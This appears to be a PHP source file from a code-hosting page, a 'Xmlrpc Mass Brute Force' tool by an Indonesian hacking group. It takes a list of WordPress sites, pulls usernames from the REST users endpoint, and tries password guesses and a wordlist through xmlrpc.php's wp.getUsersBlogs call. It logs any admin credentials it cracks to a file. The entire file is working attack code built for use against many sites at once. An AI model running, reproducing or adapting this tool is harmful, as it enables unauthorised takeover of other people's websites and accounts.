-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathxml.php
156 lines (151 loc) · 3.78 KB
/
xml.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
<?php
/* Welcome To Source Code!! */
/*
Coded by Zeerx7 <> XploitSec-ID
*/
/* Saya mencium Aroma² tukang record :?
Tapi gw sih cuma mau bilang, Lo Nob !
*/
/* Izin Dulu gan, sebelum record :)
Zeerx7@gmail.com | 0895320325423
*/
error_reporting(0);
$G = "\e[92m";
$R = "\e[91m";
$Y = "\e[93m";
$B = "\e[94m";
$P = "\e[35m";
$C = "\e[36m";
// data
//$user = ["admin"];
$pas = ['akandiubah!','inijugasama','Ini juga:v', //baris ini jangan di ubah!
];
$gs = "pass.txt";
$listpass = trim(file_get_contents($gs));
if(!$listpass){
echo $gs." Tidak ditemukan !\n";
exit;
}
$listpass = explode("\n",$listpass);
foreach($listpass as $pausigansbngt){
$pas[] = $pausigansbngt;
echo "--";
sleep(0.5);
}
$xmlrpc = "/xmlrpc.php";
$isadmin = '<name>isAdmin</name>';
$agent = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0";
$header = array('Content-Type: application/x-www-form-urlencoded');
$timeout = 10;
$error = [0,404,401,403,500,408,502,503,504,521,522,520];
$sev = fopen("berhasil.txt","w");
function xml($user,$pw){
$xml="
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>$user</string></value></param>
<param><value><string>$pw</string></value></param>
</params></methodCall>";
return $xml;
}
$user = "admin";
banner();
echo $Y."masukan list target->$C ";
$l = trim(fgets(STDIN));
$buka = fopen("$l","r");
$ukuran = filesize("$l");
$baca = fread($buka,$ukuran);
$urls = explode("\n",$baca);
foreach($urls as $url){
$usercek = $url;
$url = $url.$xmlrpc;
echo $B."cek $url |";
$gans = cekhttp($url);
if(in_array($gans,$error)){
echo $P."\n |Url Eror\n";
continue;
}
echo $B."\ncek user |";
$user = getuser($usercek);
if(empty($user)){
echo "admin !";
$user = "admin";
}
$pas[0] = $user;
$pas[1] = $user.'123';
$pas[2] = $user.'12345';
echo "\n";
foreach($pas as $pass){
$xml = xml($user,$pass);
$ekse = curl($url,$agent,$header,$xml,$timeout);
if(strstr($ekse, $isadmin)){
echo $G."[OK] $target $user|$pass \n";
$sv = "[OK] ".$url." $user|$pass \n";
fwrite($sev,$sv);
//file_put_contents('b.txt', $sv, LOCK_EX);
break;
}else{
echo $R."[Failed] $target $user|$pass \n";
}
}
}
fclose($sev);
function curl($url,$agent,$header,$xml,$timeout){
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_ENCODING, '');
$_ = curl_exec($ch);
// echo $_;
curl_close($ch);
return $_;
}function getuser($url){
$url = "http://$url/wp-json/wp/v2/users";
$url = file_get_contents($url);
//print_r($url);
$user = json_decode($url,true);
$user = $user[0]['slug'];
if($user){
echo $user;
return $user;
}else{
echo "admin |!";
$user = "admin";
return $user;
}
}function cekhttp($url){
global $agent;
global $header;
global $timeout;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$res = curl_exec($ch);
$http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo $http;
return $http;
}function save($nfile,$tex){
$f =fopen($nfile,"W+");
fwrite($f,$tex);
$fclose($f);
}function banner(){
global $C;
global $G;
global $R;
echo $C."
$C (".$R."!".$G." Xmlrpc Mass Brute Force$R !".$C.")
$G Coded by Zeerx7$R <>$G Xploitsec-ID
";
}
?>